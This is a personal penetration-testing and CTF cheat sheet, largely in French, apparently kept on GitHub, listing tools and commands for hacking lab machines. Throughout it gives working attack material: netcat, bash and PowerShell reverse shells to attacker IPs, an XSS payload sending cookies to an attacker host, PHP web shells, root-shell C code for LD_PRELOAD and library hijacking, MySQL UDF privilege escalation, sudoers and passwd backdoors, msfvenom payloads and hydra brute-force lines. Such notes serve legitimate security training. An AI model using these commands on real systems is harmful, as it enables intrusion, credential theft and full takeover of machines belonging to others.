-
Notifications
You must be signed in to change notification settings - Fork 1
/
CheatSheet.txt
597 lines (404 loc) · 28.7 KB
/
CheatSheet.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
https://github.com/sagishahar/lpeworkshop
------------------------------------------------------------------------ TOOLS -----------------------------------------------------------------------------------------
Steganography :
- stegsolve (JAR file) : image stega
- zsteg : LSB stega
- binwalk --dd='.*' flag2.jpeg (to extract hidden files)
- stegoveritas : tool pour tous les types d'images
- gimp : image modifications
- strings
- hexdump -C file_to_analyze.txt
- Sonic Vizualizer : audio stega
- steghide extract -sf image.jpg
- stegcracker -> to crack steghide passwords -> stegcracker Challenge2.jpeg /usr/share/wordlist/rockyou.txt
- https://georgeom.net/StegOnline/
- fcrackzip : Crack zip files (fcrackzip -m 1 -D -p /usr/share/wordlist/rockyou.txt -v christmaslists.zip) -> -m 1 = method zip, -D = dictionnary, -p = use string as initial password, -v = verbose
- zip crack with john -> zip2john file.zip > zip.hash -> john --wordlist=/usr/share/wordlist/rockyou.txt zip.hash
OSINT :
- https://wigle.net/ : bssid et ssid location map
- Wayback Machine : https://archive.org/web/
- Yandex : for reverse image search (Google is bad for that thing)
- shodan (filters -> asn:AS15169, product:MySQL, vuln:ms17-010, city, os, port, hostname ...)
Cryptography / hash:
- primefac : Python module to compute fast prime number factorization
- factordb.com : Website to factorize big numbers
- gpg --output note1.txt --decrypt note1.txt.gpg : déchiffrer un fichier gpg avec une passphrase. Si private key alors il faut gpg --import mykey.asc avant.
- openssl : chiffrer / déchiffrer des fichiers avec des clés (openssl rsautl -decrypt -in note2_encrypted.txt -out note2.txt -inkey private.key -> pour déchiffrer ; openssl rsautl -encrypt -in note2.txt -out note2_encrypted.txt -pubin -inkey public.key)
rsautl -> RSA utility
- crackstation
- hashkiller
- Hash type checker : https://www.tunnelsup.com/hash-analyzer/
- hashcat : hashcat -a 0 -m id hashes.txt --force (hash list : https://hashcat.net/wiki/doku.php?id=example_hashes) -> -a 0 for wordlist, -a 3 for bruteforce
- MD? hash cracker : https://md5hashing.net
- CyberChef : base64 decoder ... -> https://gchq.github.io/CyberChef/
- PengLab : alternative to hashcat using Google COlab to crack hashes (https://github.com/mxrch/penglab)
Samba :
- nbtscan : Samba users and groups enumeration
- nmap --script smb-vuln* -p 139,445 <target> --min-rate 5000 : Samba vulnerabilities scan
- nmap ip -p 445 --script=smb-enum-shares.nse,smb-enum-users.nse : samba users and shares enumeration
- enum4linux : Enumeration tool -> enum4linux.pl -a 192.168.1.50
- msf : use auxiliary/scanner/smb/smb_version
- hydra : bruteforcer (hydra -L usernames.txt -P passwords.txt 192.168.2.66 smb -V -f)
- smbclient //ip/share : pour se connecter à un serveur samba
- smbget -R smb://<ip>/share : download récursivement tout se qui se trouve sur le share du serveur samba
SSH :
- hydra : bruteforce (hydra -l user -P /usr/share/wordlist/rockyou.txt 10.10.49.6 -t 4 ssh -s 22) (-s = port)
- ssh2john / john : ssh private key passphrase cracking (python /opt/JohnTheRipper/run/ssh2john.py id_rsa.key > id_rsa.hash -> /opt/JohnTheRipper/run/john --wordlist=/usr/share/wordlist/rockyou.txt id_rsa.hash)
- On attacking machine generate keys pair. Add the public one into /home/user/.ssh/authorized_keys. Then connect -> ssh -i id_rsa user@ip (the id_rsa is our previously generated key)
Website :
- hydra : Bruteforcer (hydra -l root -P /usr/share/wordlist/rockyou.txt 192.168.1.21 http-post-form "/<login url>:username=^USER^&password=^PASS^:F=incorrect" -V)
- sqlmap -> Injection SQL -> sqlmap -u http://10.10.147.195/?msg=test -D test -T msg -C col --dump (--forms pour trouver automatiquement les paramètres de la page)
- File upload : https://www.exploit-db.com/docs/english/45074-file-upload-restrictions-bypass.pdf
- ffuf -> fuzzer web -> utiliser l'option -e .html,.php,.txt pour scanner aussi les fichiers avec ces extensions
- reverse shells : https://highon.coffee/blog/reverse-shell-cheat-sheet/#perl-reverse-shell
- blind command injection -> quand le résultat d'une commande n'est pas retournée et qu'on veut voir si elle est vulnérable alors on peut faire un ping de plusieurs paquets. Si la page charge en continu pendant quelques temps alors c'est qu'elle est vulnérable. On peut aussi essayer de rediriger vers un fichier spécifique puis d'y accéder par le navigateur. On peut également le bypass en redirigeant le flux avec netcat pour avoir la réponse -> ls -la | nc mon_ip mon_port
- basic auth brute force -> hydra -l user -P /usr/share/wordlist/rockyou.txt 10.10.80.169 http-get /path
- LFI -> Interesting files : /etc/ssh/sshd_config (https://github.com/cyberheartmi9/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal#basic-lfi-null-byte-double-encoding-and-other-tricks)
-> Si page avec basic auth -> /var/www/html/.htaccess
-> /var/mail/user
- SSRF -> Read files with file://, get other services -> (https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery#file)
- Broken authentication -> tenter de se re-réinscrire avec un compte déjà existant en ajoutant juste un espace devant le login (si "test" alors " test")
- XXE (XML External Entity) -> In-band (réponse directe) ou Out-of-band (réponse dans un autre fichier). Permet d'intéragir avec le backend et d'effectuer d'autres attaques comme SSRF
- Log poisoning -> Si on a accès en lecture et écriture aux logs. On intercepte avec BurpSuite et on ajoute dans le User-Agent (par exemple) <?php system($_GET['c']);?> par la suite on doit faire appelle à la même URL en ajoutant à la fin &c=command
Tomcat :
- MSF -> tomcat_mgr_deploy exploit -> si /manager ne fonctionne pas alors utiliser /manager/text
- Si port 8009 ouvert alors potentiellement vulnérable à CVE-2020-1938 (https://github.com/00theway/Ghostcat-CNVD-2020-10487) -> python3 ajpShooter http://ip:8080/ 8009 /WEB-INF/web.xml read
WebDav :
- Upload a reverse shell with cadaver -> cadaver http://10.10.177.87/webdav/ -> put php-reverse-shell.php
PhpMyAdmin :
- Bruteforce -> hydra -l root -P /usr/share/wordlist/rockyou.txt 192.168.1.18 http-post-form "/phpmyadmin/index.php:pma_username=^USER^&pma_password=^PASS^&server=1&rget=index.php:F=Access denied for user" -V -t 64
Privesc :
- LinPeas
- LinEnum
- linux-exploit-suggester.sh
- cron (Si on peut exécuter un script en tant que root -> echo "user ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers)
- nmap -> nmap --interactive -> !sh
- vim -> :set shell=/bin/sh -> :shell
- rbash -> ssh user@ip -t "bash --noprofile" -> to connect to machine by bypassing rbash
- Quand un exécutable SUID n'utilise pas le chemin absolu alors on peut modifier le PATH pour exécuter un autre programme. Si par exemple le programme SUID appelle sans son chemin absolu curl -> echo /bin/sh > /tmp/curl -> chmod 777 curl -> export PATH=/tmp:$PATH -> on appelle ensuite le programme SUID et on passe root
- Si possibilité de modifier le /etc/passwd alors on peut rajouter une nouvelle ligne pour donner les droits root à un utilisateur. On génrère d'abord un nouveau mot de passe -> openssl passwd -1 -salt [salt] [password] -> user:$1$new$p7ptkEKU1HnaHpRtzNizS1:0:0:/root:/bin/bash -> remplace -1 par -6 pour /etc/shadow
- socat stdin exec:/bin/sh -> pour avoir un shell avec socat. Socat permet de manipuler les sockets réseau
- /opt/windows_privesc/PowerUp.ps1 -> Windows privesc enumeration misconfigurations
- Si bash a le bit SUID alors il faut l'utiliser avec l'option -p -> /bin/bash -p
- Sudo with apache2 -> sudo apache2 -f /etc/shadow
- sudo -l -> env_keep+=LD_PRELOAD -> preload.c -> gcc -fPIC -shared -nostartfiles -o /tmp/preload.so /home/user/tools/sudo/preload.c -> sudo LD_PRELOAD=/tmp/preload.so program_name (the program name must be in the sudo -l list)
preload.c :
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setresuid(0,0,0);
system("/bin/bash -p");
}
- sudo -l -> env_keep+=LD_LIBRARY_PATH -> ldd program_name (always in sudo -l list) -> gcc -o /tmp/lib_in_program -shared -fPIC /home/user/tools/sudo/library_path.c -> sudo LD_LIBRARY_PATH=/tmp program_name
library_path.c :
#include <stdio.h>
#include <stdlib.h>
static void hijack() __attribute__((constructor));
void hijack() {
unsetenv("LD_LIBRARY_PATH");
setresuid(0,0,0);
system("/bin/bash -p");
}
- cronjobs wildcard -> ex avec tar -> tar czf /tmp/backup.tar.gz * -> on peut créer des fichiers avec pour nom une option de tar pour que la commande soit modifiée.
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.8.63.247 LPORT=4444 -f elf -o shell.elf -> chmod +x /home/user/shell.elf -> touch /home/user/--checkpoint=1 ->
touch /home/user/--checkpoint-action=exec=shell.elf -> on attacking machine : nc -lnvp 4444 ans wait for cron job to execute the shell.elf
-shared object injection -> quand un binaire tente de charger une librairie qui n'est pas présente, on va charger une librairie qui spawn un shell à la place.
libcalc.so :
#include <stdio.h>
#include <stdlib.h>
static void inject() __attribute__((constructor));
void inject() {
setuid(0);
system("/bin/bash -p");
}
Exemple avec le binaire suid-so -> strace /usr/local/bin/suid-so 2>&1 | grep -iE "open|access|no such file" (pour lister les librairies partagées) :
open("/home/user/.config/libcalc.so", O_RDONLY) = -1 ENOENT (No such file or directory) -> mkdir /home/user/.config -> gcc -shared -fPIC -o /home/user/.config/libcalc.so /home/user/tools/suid/libcalc.c -> on execute suid-so
- /bin/bash --version < 4.2-048 -> abuser du chemin absolu. Si par exemple /usr/sbin/service apache2 start dans un script -> function /usr/sbin/service { /bin/bash -p; } -> export -f /usr/sbin/service -> relancer le script
- /bin/bash < 4.4 -> using debugging mode -> env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash)' /usr/local/bin/suid-env2 -> /tmp/rootbash -p
- Capabilities -> getcap -r / 2>/dev/null
- docker group -> docker run -v /:/mnt --rm -it alpine chroot /mnt sh (alpine is the image name)
- sudo -l -> SETENV -> allows the current user to use the command with any env variable set with a specific value -> sudo --preserve-env=PATH command
- winPEAS -> enumeration like linpeas but for Windows
- Seatbelt -> enumeration for windows -> https://github.com/GhostPack/Seatbelt
RDP :
- Remmina : connexion à rdp
Github :
- git-dumper : pour télécharger toute les informations quand un .git est accessible via Internet.
DNS :
- dnsrecon -> tool for DNS enumeration
- Zone Transfer -> dig axfr @IP domain_name
SMTP :
- VRFY username -> (enumeration) if return code 250/251/252 means valid user -> code 550 means invalid user
SNMP :
- snmpwalk -> enumeration
Golang :
- Build go file -> go build filename.go
NFS :
- check NFS share config -> cat /etc/exports -> l'option no_root_squash spécifie que le root de la machine sur laquelle le répertoire est monté a les droits de root sur le répertoire
- showmount -e ip_address : énumérer les shares NFS disponibles
- mount : monter le FS désiré à l'emplacement choisi (mkdir /nfs; mount -o rw,vers=2 ip:/remote_location local_location)
- umount : pour démonter le FS monté précédemment
- nmap -p 111 --script=nfs-ls,nfs-statfs,nfs-showmount 10.10.110.59 : NFS enumeration
- generate a msfpayload in the mounted share -> msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf -o /tmp/nfs/shell.elf
WordPress :
- Theme PHP exploit : Pour accéder à la page du thème après y avoir inséré un reverse shell -> http://ip/wp-content/themes/twentythirteen/page.php
- wpscan : scanner de vulns pour wordpress
- Fichier de config qui contient les mots de passe : wp-config.php
Amazon AWS :
- Bucket Misconfiguration : Un bucket mal configuré peut être accessbile via bucket_name.s3.amazonaws.com
On peut aussi y accéder en CLI mais il faut un compte AWS -> aws s3 ls s3://bucket-name et pour télécharger -> aws s3 cp s3://bucket-name/file-name local-location
MySQL :
- Si droits File (écriture) : possibilité d'injecter du code avec -> SELECT "<?php system('nc -e /bin/bash ip port'); ?>" INTO OUTFILE "/var/www/html/wordpress/wp-content/uploads/shell.php" (par exemple pour du wordpress)
- Si root peut se connecter sans mot de passe -> https://www.exploit-db.com/exploits/1518
gcc -g -c raptor_udf2.c -fPIC -> gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc -> mysql -u root
use mysql; create table foo(line blob); insert into foo values(load_file('/home/user/tools/mysql-udf/raptor_udf2.so')); select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so'; create function do_system returns integer soname 'raptor_udf2.so';
select do_system('cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash'); quit
/tmp/rootbash -p
- hydra -> hydra -l wordpress -P /usr/share/wordlist/rockyou.txt -t 16 -F 192.168.1.79 mysql
FTP :
- hydra : Bruteforcer (hydra -l user -P /usr/share/wordlist/rockyou.txt 192.168.0.1 -vV ftp)
- Penser à naviguer dans le serveur FTP
- Si vuln alors on peut déplacer des fichiers à un endroit spécifique du serveur : nc ip 21 -> SITE CPFR file_to_copy -> SITE CPTO destination
Stored XSS :
- Admin cookie stealing -> Attacker side : create a php file <?php $cookie = $_GET['c']; ?> -> start a php server : php -S ip:8000
-> Website side : <script>document.location='http://attacker_ip:8080/file.php?c='+document.cookie;</script>
- http://www.xss-payloads.com/
- window.location.hostname -> affiche notre IP
Powershell :
- Powerview -> provient de powershell empire -> énumération de domaine une fois un shell obtenu sur la machine (cheatsheet : https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993)
- Lancement -> powershell -ep bypass -> permet de bypass l'execution policy pour exécuter des scripts plus facilement
Metasploit :
Upload file to target -> upload /opt/windows_privesc/PowerUp.ps1 C:\\Users\\bill\\Desktop
Mimikatz -> for post exploitation load the mimikatz module -> load kiwi
MSFvenom -> Générer un reverse shell netcat -> msfvenom -p cmd/unix/reverse_netcat lhost=10.8.63.247 lport=4444 R
Powershell -> load powershell -> powershell_shell to launch the powershell on the target
Radare 2 :
aaa -> analyze
afl -> affiche la table des symboles
pdf@main -> affiche le main
db 0x00400b55 -> met un breakpoint à l'adresse 0x00400b55
dc -> exécute le programme jusqu'à arriver au breakpoint
ds -> va à l'instruction suivante
dr -> affiche les valeurs des registres
px @adresse -> affiche le contennu à l'adresse indiquée
ood -> reload le programme à son état d'origine
ElasticSearch :
- LFI -> http://ip:9200/_search?q=../../../../../../etc/passwd
SEO analyzer :
- https://neilpatel.com/fr/analyseur-seo/
Google Dorks :
- intitle:
- site:
- filetype:
- cache:
GDB :
- disas function -> désassemble la fonction et nous affiche ses instructions
- Buffer overflow -> pour connaitre le nombre de caractères à écrire pour overwrite EIP et faire pointer sur la fonction voulue il nous suffit d'utiliser la commande r < <(cyclic 50) pour envoyer 50 caractères aléatoires en entrée du programme.
On va donc avoir un segfault vers une adresses inconnue. On récupère cette adresse et on fait un cyclic -l 0xaddress -> on obtient le nombre de caractères à passer en entrée pour arriver à EIP
Post-Exploitation :
- Powershell Empire (enumeration) : (/opt/Empire) -> https://github.com/BC-SECURITY/Empire/
-> Cheatsheet -> https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993
- BloodHound (neumeration) : (/opt/Bloodhound/Bloodhound-linux-x64) -> ./Bloodhound --no-sandbox -> First use SharpHound on machine to put all gathered informations into .json and then use this file in bloodhound
- mimikatz (hash dumping) : dump hashes -> lsadump::lsa /patch
- Server Manager -> As admin we can have access to Server manager and then get more informations about users, logs and other machines
- Starkiller -> frontend for Powershell Empire -> https://github.com/BC-SECURITY/Starkiller
Memory analysis :
- volatility : volatility -f file.dmp imageinfo
- %SystemDrive%/hiberfil.sys -> fichier Windows qui contient l'image compressée du dernier boot Windows
Buffer Overflow :
- Fuzzing to detect the offset of EIP
- Check bad characters
--------------------------------------------------------------------------------------------------------------------------------------------------------------
Bash CheatSheet : https://devhints.io/bash
NC Reverse shell :
Côté attaquant -> nc -lnvp 4444
Côté serveur -> nc -e /bin/bash 192.168.1.16 4444
Si jamais on ne peut pas utiliser l'option -e alors -> rm /tmp/f; mkfifo /tmp/f; cat /tmp/f|/bin/sh -i 2>&1 | nc 10.8.63.247 4444 >/tmp/f
Si jamais netcat n'est pas présent alors avec un SimpleHTTPServer on peut toujours le get (ne pas oublier le chmod).
Attention parfois le fait de wget nc ne va pas fonctionner car il n'y aura pas les dépendances nécessaires
Si avec nc le shell n'est pas bon on peut utiliser cette commande à la place -> bash -i >& /dev/tcp/192.168.1.16/7777 0>&1
Quelques bypass quand par exemple les espaces ne sont pas autorisés : https://gist.github.com/bayotop/6072e9c87632e5f75dd42483b0076294
Si nc n'est pas installé (ou un autre programme) et qu'on peut écrire et exécuter des fichiers PHP -> un crée un fichier php qui nous permet d'exécuter des commandes :
echo '<?php system($_GET["c"]);?>'>cmd.php
On setup un simplehttpserver en local à l'endroit où se trouve nc (ou bien on fait un ln -s $(which nc) . pour créer un lien symbolique dans le répertoire courant) puis on le télécharge en y accédant via l'URL
http://10.10.81.16/files/cmd.php?c=wget%20http://10.8.63.247:8000/nc
http://10.10.81.16/files/cmd.php?c=chmod 755 nc
Exécuter une commande en tant qu'un autre utilisateur :
sudo -u user command
Upload un fichier via nc :
Côté attaquant -> nc 10.10.10.68 4444 < "file.sh"
Côté serveur -> nc -lnvp 4444 > "file.sh"
Sur une box HTB essayer d'y accéder avec le common name et pas seulement avec l'IP (ne pas oublier de l'ajouter dans /etc/hosts)
XXE payloads :
Afficher le contenu d'un fichier :
<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY read SYSTEM 'file:///etc/passwd'>]>
<root>&read;</root>
Sur un service web après avoir fait un ffuf faire également un nikto pour avoir de plus amples informations.
Nikto Cheatsheet -> https://redteamtutorials.com/2018/10/24/nikto-cheatsheet/
Quand formulaire sur un site alors tester des injections SQL
Privesc avec lxd (avec Internet):
#On télécharge le container ubuntu qu'on appelle test avec les privilèges à true
lxc init ubuntu:16.04 test -c security.privileged=true
#On configure le point de montage
lxc config device add test whatever disk source=/ path=/mnt/root recursive=true
#On lance le container
lxc start test
#On drop dedans
lxc exec test bash
#On se rend où celui-ci est monté
[email protected]:~# cd /mnt/root
(Sans Internet) :
# build a simple alpine image
git clone https://github.com/saghul/lxd-alpine-builder
./build-alpine -a i686 #Must be run multiple times until it works
Upload the tar gz file on target
# import the image
lxc image import ./alpine.tar.gz --alias myimage
# run the image
lxc init myimage mycontainer -c security.privileged=true
# mount the /root into the image
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
# interact with the container
lxc start mycontainer
lxc exec mycontainer /bin/sh
cd /mnt/root
Connaitre les versions du noyau :
uname -a
lsb_release -a
cat /etc/issue
cat /etc/lsb-release
Avec msf un hashdump Windows permet de trouver les hashs stockés sur la machine cible :
Par exemple : Jon:1000:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d:::
Le premier champ est le nom d'utilisateur -> Derniers digits du security identifier (SID) -> LM hash -> NTLM hash
Les hash LM étaient les ancien hashs utilisés dans Windows. Désormais on n'utilise que les hashs NTLM.
Extraire toutes les lignes entre la 1234eme et la 5555eme du fichier someFile -> sed -n '1234,5555p' someFile
Sous Linux pour copier un fichier dans le clipboard : cat file | xclip -sel clip
Alternative au reverse shell php de pentestmonkey pour une machine sous Windows -> https://github.com/Dhayalanb/windows-php-reverse-shell
Lorsqu'on ne peut pas utiliser vi, nano ou un autre éditeur de texte sur la machine alors on peut utiliser sed pour remplacer l'ancien texte du fichier par le nouveau : sed -i "s/ancien texte/nouveau texte/g" fichier
Si jamais il y a des / dans ce qu'on veut écrire alors on peut utiliser une autre délimitation (comme + par exemple -> sed -i "s+ancien texte+nouveau texte+g" fichier)
Regarder les cronjobs pour trouver de potentiels scripts vulnérables qui tournent (/etc/crontab, /etc/crond.d/, /etc/cron.daily/ ...)
Sur Linux pour démarrer un serveur PHP en local -> php -S ip:port
If a website has a sitemap file it's located at website/sitemap.xml
Pour cracker un hash en connaissant le salt avec hashcat -> hashcat -a 0 -m 160 hashes.txt --force /usr/share/wordlist/rockyou.txt avec dans hashes.txt -> e5d8870e5bdd26602cab8dbe07a942c8669e56d6:tryhackme
tmux cheatsheet : https://linuxacademy.com/site-content/uploads/2016/08/tmux.png
Faire spawn un shell bash avec python -> python -c "import pty;pty.spawn('/bin/bash')"
Si on ne peut pas unzip un fichier zip car il y a une erreur de version alors on peut utiliser 7zip -> 7z e file.zip
Si on est obligé d'utiliser python3 au lieu de python et qu'on veut setup un serveur HTTP alors on doit utiliser la commande -> python3 -m http.server
Le message of the day (MOTD) est stocké : /etc/update-motd.d/00-header
Les mounted filesystems peuvent être placés dans /media/ ou /mnt/
Sur Windows si interface graphique alors activer les fichiers cachés et essayer de modifier les droits d'un répertoire en version graphique
Avec les cron jobs pour avoir un shell en tant qu'utilisateur qui lance la commande il suffit de donner les droits SUID de l'utilisateur à l'exécutable bash :
echo "cp /bin/bash /tmp/bash_vanshal;chmod u+s /tmp/bash_vanshal" > /media/programmer/scripts/backup.sh
A chaque fois qu'on récupère une liste de noms d'utilisateurs essayer les mêmes mots de passe que les usernames.
Récupérer un fichier zlib -> zlib-flate -uncompress < FILE
Quand on n'arrive pas à lire un fichier PNG alors regarder le header s'il commence par 89 50 4E 47 0D 0A 1A 0A (sinon modifier avec hexeditor)
CURL :
Requête GET -> curl website
Requête POST avec "bonjour" comme body (data) -> curl -X POST -d "bonjour" website
Requête GET avec sauvegarde des cookies reçus -> curl website -c cookies.txt
Requête GET avec envoie de cookie -> curl -b "nom_cookie=valeur_cookie" website
POWERSHELL :
Une commande est appelée cmdlet. Et pour chaqu cmdlet sa sortie est un objet avec lequel on peut intéragir
Get — To get something
Start — To run something
Out — To output something
Stop — To stop something that is running
Set — To define something
New — To create something
- Lister les commandes : Get-Command
- Obtenir l'aide pour une commande : Get-Help command (-Examples en plus pour avoir des exemples)
- Les patterns fonctionnent -> Get-Command New-*
- Utilisation du pipe pour passer un objet à une commande -> exemple d'affichage des commandes qui sont des méthodes -> Get-Command | Get-Member -MemberType Method
- Créer des objets à partir d'autres : Select-Object cmdlet -> exemple pour lister un répertoire et n'afficher que le mode et le nom : Get-ChildItem | Select-Object -Property Mode, Name
- Filtrer des object avec Where-Object : exemple -> Get-Service | Where-Object -Property Status -eq Stopped -> va afficher les services qui ont pour statut "Stopped"
- Trier les objets avec Sort-Object -> Get-ChildItem | Sort-Object
Find file by name recursively and print the full path:
Get-ChildItem -Path C:\ -Include interesting-file.* -File -Recurse -ErrorAction SilentlyContinue
Using include we must use *
Print file content :
Get-Content -Path "C:\Program Files\interesting-file.txt.txt"
Count all cmdlet commands :
Get-Command -CommandType cmdlet | measure
Get md5 hash of a file :
Get-FileHash -Algorithm MD5 -Path "C:\Program Files\interesting-file.txt.txt"
Get the current directory :
Get-Location
Check if path exists :
Test-Path "C:\Users\Administrator\Documents\Passwords" -> False
Decode b64 file :
Get-ChildItem -Path "C:\" -Recurse -ErrorAction SilentlyContinue -File -Include b64.tx* -> C:\Users\Administrator\Desktop\b64.txt
$string = Get-Content -Path C:\Users\Administrator\Desktop\b64.txt
(to verify the content of $string we can print the content -> Write-Output $string)
[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($string))
List local users :
Get-LocalUser
Get IP address :
Get-NetIPAddress
Get ports listening :
Get-NetTCPConnection -State Listen
Print the remote address of the local port listening on port 445 :
Get-NetTCPConnection -State Listen -LocalPort 445 | Format-List -Property RemoteAddress
Get the hot fixes (patchs) :
Get-HotFix
Grep a string in file :
Get-ChildItem -Path C:\ -Recurse | Select-String -Pattern API_KEY
List processus :
Get-Process
List the scheduled tasks :
Get-ScheduledTask
Get directory / file owner infos :
Get-Acl -Path C:\
Instead of using Format-List to print the desired informations we can select what we want with the value we want :
Get-LocalUser | Select-Object * -> prints all the properties of all users. If we want to get only the field "PasswordRequired" :
Get-LocalUser | Select-Object -Property PasswordRequired
To get only the value of PasswordRequired set to false :
Get-LocalUser | Select-Object -ExpandProperty PasswordRequired | Select-String "False"
For a file Select-String can also search for a specific string inside a file
To read input from user :
$var = Read-Host -Prompt "Text to print"
To test if a port is open :
Test-NetConnection ip -Port port_number
Simple local port scanner :
$ip = "localhost"
for($i = 130; $i -lt 141;$i++){
if((Test-NetConnection $ip -Port $i -WarningAction SilentlyContinue| Select -Property TcpTestSucceeded) -match "True"){
echo $i
}
}
Download a file:
powershell -c "(new-object System.Net.WebClient).DownloadFile('http://ip/wget.exe','C:\Users\offsec\Desktop\wget.exe')"
The -c option execute the command
Reverse shell TCP :
#Set the target
$client = New-Object System.Net.Sockets.TCPClient('10.11.0.4',443);
#Set the stream
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
#while data is coming execute and send back command result
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i); $sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush();
} $client.Close();
One-liner -> $client = New-Object System.Net.Sockets.TCPClient('192.168.1.16',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i); $sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2); $stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush();} $client.Close();
- systeminfo -> system informations
- tasklist -> list of running tasks
- netsh advfirewall show currentprofile -> Firewall status
- netsh advfirewall firewall show rule name=all -> list rules
- schtasks /query /fo LIST /v -> list scheduled tasks
- accesschk.exe -uws "Everyone" "C:\Program Files" -> Write access permissions by everyone
- mountvol -> list unmounted disks
Utiliser sqlite3 :
- sqlite3 database_name
- .tables (lister les tables)
- PRAGMA table_info(table_name) (afficher les infos de la table)
- select * from table_name;
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Quand bloqué :
- Revenir en arrière pour voir si rien n'a été oublié (credentials ...)
- Bien tout parcourir (ftp, code source ...)
- Changer de wordlist si aucun résultat satisfaisant